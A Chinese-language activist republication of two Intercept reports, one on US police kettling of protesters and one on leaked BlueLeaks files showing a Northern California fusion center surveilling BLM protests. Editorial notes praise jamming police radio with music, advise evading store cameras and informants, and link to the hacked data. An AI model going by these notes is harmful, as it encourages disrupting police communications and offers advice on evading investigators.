去年夏天，使用水壶镇压战术是全国各地抗议活动的一个热点，尤其是在纽约。在夏洛特事件的同一天，纽约警方封锁了曼哈顿大桥上的数百人，促使民选官员实时警告这种做法的危险性。一天后，纽约警察在布鲁克林卡德曼广场的集会上对一群和平的抗议者进行了围堵。6月4日，他们再次困住了在布朗克斯区莫特黑文社区游行的数百人。这次事件至少有263人被捕，至少有61人受伤，人权观察的调查称其为对和平抗议者的“有计划的攻击”，是最近城市记忆中警察镇压的最暴力事件之一。

尽管有大量的证据表明警察依赖水壶战术围捕抗议者，但纽约警察局的官员一再否认。

纽约警察局局长德莫特·谢在纽约州总检察长办公室作证时说，“直到抗议活动开始后，他才听说过水壶这个词，但在某些情况下，对抗议者实施水壶战术是适当的”。纽约警察局的高级官员告诉监督市政府的独立机构称，抗议者“一般来说，在警察队列中应该而且已经得到了离开的机会”，而这一说法被很多现场公民记录的视频和证人的陈述所推翻。

11月，纽约市警察局的巡逻队长胡安妮塔·霍姆斯否认该部门曾经参与过任何水壶行动。“我甚至不知道那是什么”，霍姆斯在一次新闻发布会上称，“这个部门不使用水壶，它不在我们的任何巡逻指南中，也不是我们培训的一部分。”上个月，谢在市议会的一次听证会上加倍谎称“在纽约市警察局内从来没有教过或允许使用水壶战术”。

市长比尔·德布拉西奥则在去年表示，“水壶战术是不可接受的做法”，即使他曾多次为被指控这样做的警察辩护。

但纽约市警察局的否认只是一个语义上的否认。该部门确实使用了抗议者所说的围捕战术；它只是将其称为“包围”。

正如 Intercept 获得的一系列内部文件所揭示的那样，纽约警察局对警察进行了一系列广泛的人群控制战术训练，包括步行、骑车和乘车的警察编队。这些队形包括多种变化的水壶战术，文件显示，这些“水壶”是在“需要拘留一群人”的情况下使用的。培训文件包括说明“水壶”如何运作的图表，强调队形应该“紧凑”，警察“几乎肩并肩”地排开。他们并没有提到要给被困在里面的人留出任何出口通道。

【强调：吹哨的重要性，以泄漏的内部文件驳斥官方的谎言。】来自镇压者培训的训练模块中的屏幕截图

纽约警察局发言人杰西卡·麦克罗里(Jessica McRorie)中士证实，该局使用了一种被称为 “包围” 的战术，但她否认这与水壶是一码事。

在对纽约警察局在抗议期间的暴力行为的诉讼中，纽约总检察长莱蒂西亚·詹姆斯指责警察部门使用水壶战术，“围捕和拘留和平抗议的个人，以阻挠受宪法保护的集会”。

纽约公民自由联盟（New York Civil Liberties Union）的法律副主任莫莉·比克伦（Molly Biklen）说，警察甚至会 “否认他们在做完全公开的事，这是纽约警察局不愿意也不能监督自己并对自己的行为负责的一个例子”。警察战术演习培训的屏幕截图

去年夏天以来，费城、休斯敦、达拉斯、亚特兰大、芝加哥、洛杉矶、西雅图、爱荷华州得梅因和俄勒冈州波特兰的抗议活动中都有围捕战术的报道。虽然美国各地的警察经常对抗议者采取这种镇压战术，但官方很少承认这种战术，更不用说任何关于使用这种战术的最佳做法的国家认可标准了。

TheIntercept 调查了全国20个最大的城市的警察部门，以及其他几个报告水壶事件的城市，询问他们与这种战术有关的政策。答复的部门提供了一系列不一致的指导方针：一些部门否认他们允许使用水壶，另一些部门概述了使用水壶的限制，还有一些部门根本没有明确提及水壶。大多数部门的政策包括关于驱散令的指导方针和对抗议者宪法权利的提醒，但是，很少有部门能详细说明允许警察在管理人群时做什么。

在答复记者的警察部门中，只有圣地亚哥警察部门在其公开的指导方针中明确规定了关于水壶的政策。该政策规定，在某些情况下，“警察可以控制人群或部分人群，以便同时进行多次逮捕”，但同时指出，这种技术不得用于应对非暴力的公民抗命行为或仅仅用于驱散人群。

波特兰警察局的一位发言人承认，警察在最近的一次抗议活动中对人们进行了水壶围捕。该发言人写道：“在某些情况下，在事件指挥官的指示下，这仍然是一种可以使用的战术”。2002 年 9 月 27 日，一名反对国际货币基金组织的抗议者恳求华盛顿特区警察让他和其他人离开被包围圈

“人们能去哪儿？”

「图」

由于最令人震惊的警察围堵事件包括额外的武力使用，如催泪瓦斯和殴打，许多对警察行动的法律挑战都集中在这些更明确的虐待行为上，而不是促成这些行为的操纵手段上。

在2002年潘兴公园事件后提起的集体诉讼，导致与被围捕的抗议者达成了800万美元的和解；在芝加哥，法官裁定2003年反战抗议活动中的逮捕缺乏合理的理由，导致620万美元的和解。在2004年纽约的共和党全国代表大会之后，以及在波特兰和圣路易斯发生围捕事件之后，也有涉及围捕事件的诉讼。但这些诉讼大多集中在围捕后的一系列暴力行为上。

Zebrowski 说："仅仅研究水壶本身是不可能的，也不可能抽象地对其进行法律甚至道德判断，因为它总是与其他技术一起使用"。他以催泪瓦斯和暴力逮捕为例，指出，虽然这种手段可能比警察使用的其他手段"没有那么明显的暴力"，但它经常与这些手段一起部署，其中没什么区别。

"作为一种镇压技术本身，水壶强加了一种监禁，而其中的任何人都非常容易受到所有这些其他镇压战术的影响。因此，它几乎是在加强所有这些其他的战术"。

一些律师质疑水壶行动本身的合法性，他们指出，水壶战术危害了集会和表达的权利，并不分青红皂白地将人们拘留和逮捕 —— 这可能违反了宪法对人们免于非法搜查的保护，以及违反了正当程序的权利。"在有些情况下，围捕本身会成为一种违宪行为"，纽约法律联盟的律师比克伦说，"但今年夏天，它真正的情况是，它几乎立即导致了过度的武力和违宪的逮捕。"

比克伦补充说，水壶的作用是作为一个触发器，经常导致事态升级。

Javad Khazaeli 是圣路易斯的一名律师，他曾就2017年警察对数十名和平抗议者进行围攻、殴打和逮捕的事件起诉该市和数十名警察，他认为，围攻使整个人群受到同样的惩罚，没有任何鉴别区分，他说："在美国法律中，在你逮捕某人之前，你必须对他们的违法行为有具体的了解，不存在连坐这种情况。"。他将水壶比作使用大撒网捕捞金枪鱼，但在这个过程中会困住受保护的物种。

Khazaeli 说，在圣路易斯的案件中，没有任何一项指控表明，在抗议一名杀害黑人的警官被无罪释放的123名抗议者中有任何人直接参与了任何财产损失或暴力。相反，警察"逮捕他们是因为他们没有离开一个区域，警察把他们困在那里了，不让他们离开"。

一些批评水壶的人承认，在某些情况下，这种战术可能是适当的，甚至是必要的，特别是在与警察可用的其他镇压手段相比时。

南非比勒陀利亚大学的国际人权法教授斯图尔特·凯西·马斯伦（Stuart Casey-Maslen）说：‘如果你不允许警察使用水壶对暴力集会进行封锁，那么你会使用什么战术？…… 如果你取消了水壶，你就必须看看警察会有什么选择，而从人权角度或从潜在的死亡和严重伤害角度来看，这些选择都不是特别漂亮。”

马奎尔曾对警察进行过抗议活动应对方面的培训，他认为应该尽可能少地使用水壶，而且只有在警察发出合法的驱散命令、发出声音警告和提供有意义的离开机会之后才使用。他补充说，如果所有这些考虑都到位，警察可以合法地、尽可能有秩序地逮捕剩下的人，他指出，水壶的唯一目的应该是合法的逮捕。他强调说，即使如此，对被围困的人群使用暴力也是 “永远不合适的”。

执法部门的其他人也对水壶战术的逻辑提出了质疑，因为这种做法的结果往往与它的既定目的相反。

曾在1967年暴乱中担任警察的前底特律警察局长艾赛亚·麦金农指出，警察经常会加剧他们本应化解的局势。他补充说，水壶战术就是这样的例子。他说：“如果你前方有一群警察，后方还有一群警察，那么你还能逃去哪里呢？”他指出，警察在水壶中必须做的唯一最重要的事应该是确保人们有一条安全的出路。

“如果你强迫人们进入一个他们无法撤退的场域，那么你希望看到人们做什么？难道他们应该躺下来什么都不做吗？”2020 年 6 月 2 日，在北卡罗来纳州夏洛特举行的反对警察暴行的示威活动中，CMPD 的警察拖着一名抗议者将其扔到车上

应该改变的是维稳文化

「图」

在夏洛特，参与6月2日水壶事件的警察并没有被解雇。根据 Intercept 查阅的内部文件，当晚负责协调警方应对措施的两名主管，以及在公布的身体摄像头视频中被点名的两名主管，只是被悄悄地调到了部门内的不同岗位。那名被拍到粗鲁言论的警官仅仅被停职两周。

但那晚的事件给这座城市留下了深深的创伤，弗洛伊德的被杀事件使

大部分黑人居民和警察之间长期酝酿的紧张关系再次浮现。

当晚警察对抗议者的恶性攻击引起了民选官员的广泛谴责，尽管不是一致的。事件发生后不到一周，夏洛特市议会通过了一项预算，取消了购买用于人群控制的化学武器的资金。一名法官发布了一项临时限制令，限制催泪瓦斯的使用。市政府官员对该市的公安做法进行了广泛审查。CMPD承诺更新围绕驱散令的政策和程序，禁止使用催泪瓦斯驱散人群，为所有流动的外勤部队配备了身体像机，并要求在警官积极与公众接触时激活和打开摄像机，该部门发言人 Tufano 写道。

“因为他们从未承认这是水壶战术，所以他们并没有说将来不会有水壶战术”，北卡罗来纳州公民自由联盟的高级律师伊雷纳·科莫说，该联盟也参与了对该市2020年6月2日警察行为的诉讼。

警察批评者对警告说，对政策进行零碎的修正没有意义，因为这些政策并没有对警察在整个城市的作用进行实质性的改革。更大的情况是重新评估和重新设定政府在确保社区安全方面的作用。

“你需要全面重新审视你如何看待政府围绕社区维稳所做的事。在任何时候改变任何一项政策，都不会产生必要的结果。”

它也不会抹去去年被困在水壶里的人的经历。“他们对我们所做的，就是对他们自己的公民使用非法的战争手段”，摄影师麦尔伦说。

“没有任何金钱或禁令可以改变那晚发生在我们身上的事；我们被永远地改变了”，美国公民自由联盟的帕克特·威廉姆斯说，“一个社区怎么可能再去信任那些为他们设下陷阱、伤害他们的人？”○

AMBUSHED BY THE COPS: WHEN POLICE DELIBERATELY TRAP PEACEFUL PROTESTERS

原文

警察情报中心如何跟踪抗议活动：通过BLM（1） - iyouport

BLM2020

【2020年11月5日存档】“情报主导型警务” 的概念是英国最先发明的，而通过监视每个人的一举一动形成针对大众的行为监控和分析，这种做法是美国创立的并流行全球，即 监视资本主义的起源。现在已经在中国 “发扬光大” ……

这是一个新的系列，延续我们此前对维稳战术的分析。本系列以今年的BLM抗议运动为案例，这场运动所引发出的镇压手段几乎是近年来最完整的参考—— 给所有反抗者的参考，关于：如果您希望在这个时代参与抗议活动，您需要首先至少了解哪些东西。

您可以在 列表-5 “维稳面面观” 板块中看到关于维稳战术分析的过往内容。

这篇文章的作者是 DDoSecrets 顾问委员会的成员。我们会添加一些注解。

8月下旬的消息显示，协助BLM运动推动刑事司法改革的律师被秋后算账，这条长 tread 讲述她被报复性逮捕的过程。

在明尼阿波利斯的一名警察杀死乔治-弗洛伊德的两个星期后，一名黑客开始从安全性很差的北加州地区警察情报中心的网站上流出19千兆字节的文件。

北加州地区警察情报中心 NCRIC (发音为 “nick-rick”) 在联邦机构、北加州的地方警察部门、以及包括硅谷公司在内的寡头私营行业合作伙伴之间共享信息。

📌 该情报中心还为当地警察提供情报分析和技术支持服务，如监控社交媒体 —— 即社交媒体情报、以及帮助警察破解锁定的智能手机 —— 即 移动设备取证，它还举办活动给警察做培训。

【注："融合中心" 是美国的情报共享机制；由美国国土安全部和司法部共同发起创建，由州、地方和部落级别的政府执法部门和国土安全部门共同管理运营，以提升美国联邦、各州以及各地方政府相互之间的信息分享能力为主要任务的专门机构。经过了十几年的发展，融合中心已经由最初几个松散独立的执法情报机构发展为**79**个融合中心组成的国家融合中心网络；以应对任何突发事件，目标是 "预警感知"和情报导向作用。"预警感知" 即 少数派报告，关于 "情报主导警务" 可参见这里的访谈《不要相信改革：激进活动家如何废掉警用监视》】

NCRIC 的黑客数据是由 DDoSecrets 提供的，这是对全国251个警察网站进行的更大的入侵泄漏的一部分，称为 BlueLeaks。

- 在这里看到泄漏文件：https://www.patreon.com/posts/38565325
- 对这套文件的局部分析-1《泄漏文件揭露TikTok如何与美国警察合作维稳镇压》
- 分析-2 《泄漏文件揭示给警察的 "测谎" 培训—基于伪科学》
- 针对这份泄漏文件所显示的警察监控方法的技术分析《从跨平台跟踪到心理分析：社交媒体情报收集简易指南》

德国当局在美国政府的指示下查封了 DDoSecrets 用来发布 BlueLeaks 数据的服务器，不过这些数据本身仍然可以通过 BitTorrent 在互联网上公开获得（下载地址在上面👆）。

NCRIC 相关的文件从5月25日乔治·弗洛伊德被杀到6月6日晚最新信息被泄露的13天时间里（从泄露材料中发现的时间戳来看），为人们提供了一个前所未有的窗口 —— 以了解北加州警察情报机构在这场抗议浪潮中的内部运作和优先事项。

NCRIC 分享信息的一种方式是向其合作伙伴发送批量电子邮件。

自抗议活动开始以来，这些邮件包括国土安全部和联邦调查局关于所谓的 "暴力内乱威胁" 的模糊的、令人恐惧的备忘录，以及更具体的信息，包括：每天上午10点和下午6点向北加州的**14000**多名警察发送的电子邮件，其内容就是最新的**BLM**抗议活动列表。

在这些泄漏文件所涵盖的13天时间里，**NCRIC** 发送的批量电子邮件中，有一半以上的内容与监测和维稳有关。

当地警方和其他情报合作方通过提交所谓的 "可疑活动报告" 将信息反馈给 NCRIC。

在这期间的21起与民间抗议有关的所谓“可疑活动”中，大部分是当地警方发布的有关即将举行的抗议活动的相关信息、推特和 Instagram 上的帖子截图、以及两起有人威胁要枪杀抗议者的事件。

当地警方与 NCRIC 联系的另一种方式是请求支持。在这一时期提出的20项与抗议运动有关的维稳支持请求中，大多数是请求帮助监测社交网络以获取有关抗议活动的信息。其中还有两项请求要求帮助查明针对白人女性青少年的威胁，这些青少年在发表种族主义言论和使用反黑人的种族主义污言秽语后，被认为“面临殴打或骚扰”。

BLM的每日清单

「图」

值得注意的是，关于BLM抗议活动的情报有很大一部分是通过 NCRIC 所谓的“恐怖主义联络官项目”提供的，该项目的目的是让情报中心的成员“参与并了解当前的恐怖主义战术、技术和趋势，区域犯罪趋势和威胁，以及维稳相关信息”。而现在，这个声称反恐的情报项目却成为了关于如何更有效镇压示威活动的信息交流中心。

在弗洛伊德被杀后的周末、当全国各地都爆发了BLM抗议活动时，NCRIC 向其 14406 名用户 —— 大多数是北加州的当地警察 —— 群发了一封电子邮件，其中包含了即将举行的抗议活动的清单：抗议的时间、地点、有时还有更多信息的链接。

“我们将在每天10:00点和18:00点两次提供当地抗议活动的清单，直到进一步通知”，电子邮件中写道，“各机构可以将这些信息用于规划/人员配置目的，或在他们认为合适的情况下使用这些信息”。邮件补充说，“其中一些事件涉及犯罪活动，如有计划的抢劫、破坏和暴力威胁。”

在5月31日至6月6日之间，NCRIC 每天早上都发送这些电子邮件，每天晚上再次发送更新的列表。

「图」

6月5日晚间发送的邮件中列出了6月6日即将在旧金山、圣何塞、帕洛阿尔托、伯克利、奥克兰等湾区城市举行的46场抗议活动，以及其他36场定于随后几天内举行的抗议活动。例如，“诺伊谷抗议警察暴力与社会疏离“活动定于6月6日上午11点举行，“旧金山儿童和平游行”活动定于6月7日下午2点，虽然绝大多数活动都是BLM的一部分，但

也有一些抗议活动的主题完全不同，例如奥克兰的 “6英尺和悲伤 COVID 19 纪念活动”。

“事实上，融合中心正在发送的是监视受第一修正案保护的抗议活动和其他社会活动的列表，这在宪法上是可疑的”，北加州美国公民自由联盟的高级律师 Vasudha Talla 告诉 The Intercept。

“他们可能会试图通过附加暗示某些犯罪活动可能性的文本来证明其监视的必要，但是，从这些泄漏文件中可以清楚地看出，这些案件都没有附加任何合理的怀疑”，她补充说：“真的，这里只有对人们受保护的第一修正案权利的过度监视收集和传播，而且它没有任何法律依据。”

NCRIC 的执行董事 Mike Sena 告诉 The Intercept，该融合中心现在不再分发每日的抗议列表。他说：“在那段时间里，刚刚发生了对 Ronald Dellums 联邦调查局办公大楼的袭击”。他指的是5月29日在奥克兰守卫联邦调查局大楼的私人保安人员 Dave Patrick Underwood 被杀事件。

Steven Carrillo 是极右翼极端分子，也是所谓的 “布加洛运动 “的成员，根据FBI的说法，他 “到奥克兰来杀警察”，6月11日他被控谋杀 Underwood。

【注：布加洛运动支持与警察进行武装对抗，以此作为引发内战的手段；该组织污染了BLM运动的非暴力传统。这点未来的内容中将有具体介绍。】

当被问及 NCRIC 在什么时候停止分发抗议名单时，Sena 说：“我相信是在嫌疑人被拘留之后，从那次袭击事件之后。”

Sena 还说，NCRIC 正在跟踪 BLM 抗议活动，声称 “我们并没有跟踪抗议活动本身，但我们正在确定哪里会有人员聚集 …… 我们要确保活动的安全。如果有任何威胁出现，可能与任何这些事件有关，我们能够将威胁数据传递给任何可能有保护责任的机构。”

Talla 不同意，“在一天结束时，你所拥有的只是一堆联邦机构 —— 不仅是国土安全部，而且是联邦调查局 —— 在没有任何合理怀疑的情况下监控人们受宪法保护的活动”，她说。“即使这些机构可能会在其中一些文件中包含一个免责声明，类似声称他们并不针对第一修正案的活动，但是，如果你真的看看他们正在做的事就能明白，这里没有任何犯罪活动，这些间谍只是以此为借口去证明他们对抗议活动的

过度收集和监控是合理的。他们完全没有这样做的依据。”

从第二份通过电子邮件发出的抗议活动列表开始，每份 PDF 的页脚都写着一句话：“本文件不受 “加州资讯处理法” 的约束，包含根据加州公共记录法规定的豁免条款可以免于公开发布的信息”，“未经 NCRIC 批准，不得向公众、媒体、或其他没有有效 ‘知情权和必要性’ 的人员发布这些信息”。

Sena 称，这些文件之所以可以免于被公开、不允许向公众或媒体公布，是因为这些文件可能被想要攻击抗议者的人用作目标名单。

“仅仅在一份文件上附加一个标语说 ‘这是加州公共记录法豁免的’，这本身并不意味着它可以豁免”，Talla 说，“这些文件不能被定性为犯罪情报，因为没有任何与这些活动、这些抗议、游行、示威相关的犯罪活动的阐述。真的，这份文件有什么可机密的？什么都没有。”

联邦调查局的恐吓

「图」

弗洛伊德被杀后几天，FBI洛杉矶分部有人注意到 Long Beach Anarchist Collective 的一条推文如下：

当时，这条推特有4次转发，26次点赞。对此，FBI分析师打出了一份情况信息报告，描述了这条推特以及它所提及的另一条推文，标题为“截至2020年5月，因乔治·弗洛伊德之死而引发的内乱威胁到执法支持者的安全”。

NCRIC 得到了这份文件的副本，并将其转发给了 14000 多名警方用户。这远不是 NCRIC 转发给数千名地方警察的唯一一份来自联邦政府的恐吓备忘录；国土安全部和联邦调查局一直向地方警察灌输可怕的抗议者轶事和网络谣言，以吓唬他们，让他们相信在抗议期间他们的生命有危险，从而刺激了这些警察对和平抗议的往往是残暴和暴力的反应。

NCRIC 分发的另一份来自多机构国家爆炸物工作队的文件声称，“在民间示威运动中，针对平民和执法目标使用了各种燃烧和爆炸装置”，并附有自制燃烧弹和烟花的照片。

NCRIC 还分发了一份FBI情况报告，该报告描述了由不具名的社交媒体用户发布的挑剔性信息，其中包括一名 Instagram 用户，据称他发

布了关于6月6日计划进行“清剿”的信息，称“任何被警察拦截的人都应该遵循唯一的规则，先杀死执法人员，然后继续破坏财产”。在没有任何背景的情况下，我们无法知道这个账号有多少粉丝，也无法知道这个账号是否是由Trolls运营的。

NCRIC 还向国土安全部转发了一系列“情报说明”给其成员：

1、5月29日的一份文件声称，与 Floyd 和 Breanna Taylor 被杀有关的持续动荡 —— 后者是一名26岁的紧急医疗技术人员被肯塔基州路易斯维尔市的警察射杀 ——“可能会促使一些国内恐怖主义行为者对执法者和其他合法抗议者采取暴力行动”。

【注：这是强调武装戒备和严密监视之合理性的借口，否则这种维稳布局是违宪的】

2、5月30日的另一份文件称，“我们预计武装人员将继续渗透到抗议运动中。我们非常有信心地评估，在5月30日至31日的黑暗时期，暴力抗议运动将增加，[国内暴力极端分子]和其他人将试图占领政府设施，并攻击执法人员”。

3、5月31日的一份文件描述了抗议者监测和破坏执法通信的情况。波特兰警方“报告说，他们评估认为，协调良好的团体有可能破坏执法部门的无线电通信”。自弗洛伊德遇害以来，允许任何人监听警方无线电通讯的 **Police scanner** 应用程序的下载量创下了新高。该文件还称，芝加哥地区的“身份不明的个人”在警察广播频道里塞满了音乐。

【注：这是一种很有效的反抗方式。我们曾经介绍过一些搜寻工具，见《隐私型开源推特前端、追踪热点事件、邦德在哪、冠状病毒和抗体、搜警用无线电、网络摄像头dorks、暗网搜索 ……：新生情报工具（19）》】

4、另一份5月31日的文件称，“我们还注意到几起潜在的暴力机会主义者携带牛奶或其他液体前往抗议活动的事件，为了减轻胡椒喷雾或其他人群控制剂的影响”。

【注：防胡椒喷雾的保护性措施也被加入了“可疑”报告】

5、6月1日的一份文件称，“随着抗议活动的持续，我们评估认为，有组织的暴力机会主义者 —— 包括疑似无政府主义者 —— 可能会越来越多地在全国范围内实施针对执法部门和关键基础设施的攻击。”

【注：这是一种为暴力镇压提供合法性的手段，并且可以规避宪法】

该文件接着说，纽约警察局的一名官员“有强有力的证据表明，疑似无政府主义组织计划在抗议活动中采取暴力，包括使用加密通信。”

【注：请记得，使用加密通信不仅完全合法，而且是个人保护个人网络安全的重要措施。而此文件却将加密视为“威胁”。“反加密之战”板块在 列表-1 中】

该文件还对所谓的“外国影响力活动”提出了警告，称：“俄罗斯国家媒体特别强调了指称警察过度暴行、警察袭击记者、以及系统性种族主义的主题。”

【注：俄罗斯反抗者是第一个响应BLM运动的，以抗议俄罗斯警察暴力和酷刑的现象，在这里看到；俄罗斯媒体只是在转嫁国内矛盾。而美国警察却在内部文件中采取了同样的思考方式】

优先监视抗议活动

「图」

NCRIC 致力于对 **BLM** 非暴力抗议活动的跟踪甚至会耽误针对实际犯罪嫌疑人的工作。5月29日下午5点后不久，一名FBI分析师向 NCRIC 网站提交了一份支持请求。”

FBI 旧金山关注可能的“犯罪活动”[原文如此] ;包括大规模的复仇式攻击、破坏财产、对执法者和参与者的暴力、以及意识形态动机的攻击; 为响应乔治·弗洛伊德在明尼阿波利斯遇害，在奥克兰附近举行的受宪法保护的活动”，他写道。他要求 **NCRIC** 提供 **[**实时的开源情报分析**]** “和适当的分析资源”。

6月1日，也就是 NCRIC 开始分发抗议活动列表的第二天，NCRIC 向其警察用户群发了一封邮件，称其“正在积极监控潜在的计划中的犯罪行为、暴力行为和民间骚乱”，并请求帮助。其中写道，“请登录 ncric.org，点击‘请求支持’标签，并提交‘调查或设备支持请求’，提交即将发生的事件或与计划中事件有关的关注。”

第二天，NCRIC 又群发了一封邮件，宣布即将到来的培训课程需要推迟。“由于我们[责任区]的抗议活动所必需的业务需要，原定于2020年6月3–4日举行的“追捕手机”培训课程改期为2020年6月17–18日。”

根据传单，“追捕手机” 培训课程 “将探索如何利用嫌疑人手机、电话公司记录、和第三方数据源记录的方法，提高警察对位于移动设备中的证据和情报的认识和理解，并为警察学员提供准备搜查令以合法获取这些证据的工具和培训”。

- 在这里看到移动设备取证的技术知识《警察查手机的东西长什么样？—— 从技术角度看移动设备取证》

在 NCRIC 数据被泄露的时候，这门培训课计划在 Zoom 上进行，有356人报名参加。但这种培训不得不延期，监视抗议活动是更优先的。

BLM的非暴力抗议被视为 “可疑活动”

「图」

与 NCRIC 有联系的当地警方利用情报中心，多次将与 BLM 相关的抗议活动、守夜活动、和文化活动标记为“可疑” 活动。

5月31日，圣马特奥县警长办公室的一名警长发布了一份所谓的可疑活动报告 SAR，要求 “密切监视任何关于圣马特奥县，特别是雷德伍德城，圣马特奥和东帕洛阿尔托市的暴力民事/犯罪动乱的情报”，并补充说，“据信，抗议活动将在未来一周内在这些城市发生 —— 希望快速掌握参与者的数量和任何非法活动即将发生的情报”。

同一天晚些时候，圣马特奥警长办公室的另一名官员发布了另一份关于当地抗议活动的报告。

他写道：“半岛进步行动队 PPAG 为乔治·弗洛伊德举行守夜/抗议活动”（他指的是湾区当地的一个进步公民团体），要求 **NCRIC** 收集情报/监控社交媒体等。并写着：“虽然该活动被宣传为和平活动，但该地区的类似活动却演变成了暴力事件。目前出席人数未知。据悉，动员者下一步将推广郊区目标。”

第二天，PPAG 在其网站上发布消息称，出于安全考虑，原计划在圣卡洛斯举行的守夜活动被推迟，原因是 “右翼极端主义团体利用此次活动，特别是晚间活动，作为煽动暴力和造成破坏的借口”；尽管守夜活动被取消，但根据后续帖子，大约100人还是带着口罩举着标语出现了。

6月2日晚，20岁的圣何塞嘻哈艺术家 Simon Vertugo 在推特上发布

了一个名为 “美国黑人经历” 的活动，“关于黑人经历的讨论，以及我们如何采取措施防止未来的不公正、警察暴力、以及如何改革我们的司法系统”，该活动将于几天后在圣何塞州立大学举行。

该大学的一名警察看到这条推特后就登录了 NCRIC 的网站，在 “激进化/极端主义” 类别下发布了一个SAR，并附上了推特上的活动图片。”可能是SJSU的抗议活动的集合点”，他写道，“已经在 Twitter 上看到了 @simonvertugo 的名字。日期是6/6/20 13时。已被转发约300次。没有可能出席人数的数据。”

Vertugo 觉得这是一个警察过激行为的例子。“说实话，我认为大学警察对在大学校园里举行的演讲完全是过度反应”，Vertugo 告诉 The Intercept。“没有人煽动任何骚乱，没有打碎任何窗户、没有破坏财产的计划。这只是一些黑人孩子和他的同龄人举行的一次演讲。我认为这些警察盯着孩子们的演讲完全是一个巨大的笑话。” 近300人出现在演讲活动中。

圣贝尼托县警长办公室和诺瓦托警察局的官员也将他们听到的即将发生的当地抗议活动发布了SAR。来自该地区的当地警察登录 NCRIC，请求对其所在城市即将举行的抗议活动提供情报支持，有时还要求对社交媒体进行监控。以下这些警察部门都在NCRIC上发布了有关BLM抗议活动的维稳支持请求：

- 核桃溪警察局
- 森尼韦尔森尼韦尔公安部
- Antioch警察局
- 弗里蒙特警察局
- 纳帕警察局
- 希尔兹堡警察局
- 帕洛阿尔托警察局
- 金门大桥巡逻队
- 康特拉科斯塔学院区

奥克兰警察局的一名警长发布了一份支持请求，要求 “分析人员监控开源社交媒体情报，以追踪抗议活动期间即将发生或刚刚发生的一切”。而旧金山警察局的一名警官向 NCRIC 发布了一份设备申请，要求在 “人员流量大的所有地点” 安装监控摄像头。她写道：“本周还有几场计划中的示威活动，这些摄像头将大大提高我们在这些事件中的态势感知和维稳能力”。

5月31日，纳帕一家出租 U-Hauls 的加油站工作人员说，他 “观察到

估计有二十几个二十多岁的黑衣人，据他所知大部分是白人，其中有几个人戴着口罩”，店内 “还有六七个穿着同样衣服的人”，他无意中听到他们问是否可以租一天面包车到旧金山。他认为这种行为很可疑，于是他打电话给消防部门已经下班的朋友，说 “这些人看起来像是 ‘ANTIFA’或 Black Bloc 的人”。他的朋友就打电话给该部门的国安官员，后者将这个二手信息作为维稳情报发布到了 NCRIC 的网站上。

而在6月2日，一家五金店的员工给诺瓦托警察局打电话报案称，一名女子 “购买了他们店所有的头盔、硬帽、锤子、螺栓切割器、和护目镜”，她还提到护目镜是用来对付催泪瓦斯的。纳瓦托警察将此作为维稳情报发布，并对该女子和她开的车进行了描述。

【注：我们经常强调活动家购置装备时应该以现金交易，并且需要躲避商店内的监视摄像头。但没有重点强调店主的举报行为。而在对**BLM**运动的维稳中，人类线人的行为强调了警惕这点同等重要。】

对抗议者生命的威胁

「图」

在此期间，与民间动乱有关的所谓 “可疑活动” 报告中，绝大多数都与BLM抗议活动有关，但也有少数是关于反对BLM运动的。

据加州公路巡警的一名警员6月3日发布的一份报告显示，一名中年白人男子6月2日打电话，描述了他要开枪杀死抗议者的计划。“当事人说，他将枪杀他认为有威胁的抗议者”，该员工描述道，“他认为所有的抗议者都是暴徒，并称这与种族无关。当事人说，他有多把枪支，包括一把 AK47，如果有抗议者靠近他的房子 …… 他随时可以炸掉他们的头。他说，他会自己采取行动，因为政客们对此无动于衷。他还说，他的朋友和邻居都有枪，而且不怕用枪。当事人非常明确地表示，他的社区不欢迎抗议者，并威胁要杀死抗议者。”

在另一个例子中，FBI的威胁行动中心发现了一条推特，上面写着：“大家在外面请小心! 我不知道这个人是来真的还是在跟我开玩笑，但我宁愿保持安全也不要后悔! 显然，他的生意被洗劫一空了，他现在威胁要枪杀抗议者”。 该推文包括一张对话截图，其中据称是旧金山企业主的人写道，“我明天就开始射击”，“参加这个狗屎抗议的任何人只要进入我的商店，我就开枪杀死他们”。

6月3日，西谷·密苏里社区学院警察局的一名警官发布了一个包括

Snapchat 视频的情报，他写道：“据报道，当事人在 Snapchat 上制作了一段视频，他自己戴着三K党风格的头巾，并[做出]一个白人至上主义的手势，口号是 ‘烧毁十字架而不是建筑物’，很可能是为了回应正在进行的抗议活动。”

保护种族主义青少年免受在线骚扰

「图」

“为了回应 ‘黑色星期二’，一名16岁的女性将自己的社交媒体资料图片改成了全蓝，以支持警察，而不是支持BLM的全黑。” 6月4日，核桃溪警察局的一名警探在向 NCRIC 提出的网络安全评估请求中打出了这样的内容。“这个家庭一直在社交媒体上收到死亡威胁/财产威胁，通过电话和短信。” 他要求 NCRIC “搜索并审查社交媒体，以取证对这家人的潜在威胁，找到发出这种威胁的人的身份。”

所附的文件 —— 一个微软的 Word 文档和一系列核桃溪警察之间的电子邮件 —— 显示的远不止是将她的头像改为蓝色以支持警察。还包括这位少女的 **TikTok** 视频的截图，她在视频中写道：**“3K**党应该回来。哦，我想搬到佐治亚州，因为他们有种族隔离的舞会”，以及，“我不和黑鬼说话”。

6月6日，加州莫拉加警察局的一名中尉向 NCRIC 发布了类似的情报请求。“莫拉加警察局意识到社交媒体上流传的一个视频片段，描述了3名坎波林多高中的女青少年使用种族主义和攻击性语言，包括黑鬼这样的词”，他写道，“我们要求进行开源情报搜索和针对整个社交媒体的监视分析，以确定是否存在威胁，特别是是否会在莫拉加镇发生暴力行为或报复性威胁。”

当被问及是否他们的政策是为种族主义者提供主动保护时，核桃溪和莫拉加警察局都没有回应评论请求。

“任何时候都有潜在的威胁，有人表示他们会伤害某人，我们确实支持地方机构的这些类型的情报请求”，NCRIC 的执行董事 Sena 说，“而且我们不会根据这个人说的话、或者他们的意识形态来判断是否支持。我们必须对公众中的每个人一视同仁，我们的目标是保护生命。”

黑客主义行动曝光执法阴暗面

「图」

除了向数以千计的地方警察发送批量邮件外，NCRIC 有时还会向其3700多个行业合作伙伴群发邮件。

6月2日的一封邮件中包含了来自FBI网络部门的警告：“由于持续的内乱，黑客组织正积极威胁并支持针对执法部门和州政府网络的网络攻击 …… 像 ‘匿名者’ 这样的团体正在积极利用社会和政治动荡鼓励对执法部门和政府计算机网络、对外网页和社交媒体账户采取全球网络行动。”

在 NCRIC 发出这封邮件的四天后，BlueLeaks 的黑客开始从 NCRIC 的服务器上泄漏数据。完整：https://www.documentcloud.org/documents/7033690-TLP-GREEN-Cyber-Threat-to-Law-Enforcement-and.html

○

—— 未完待续 ——

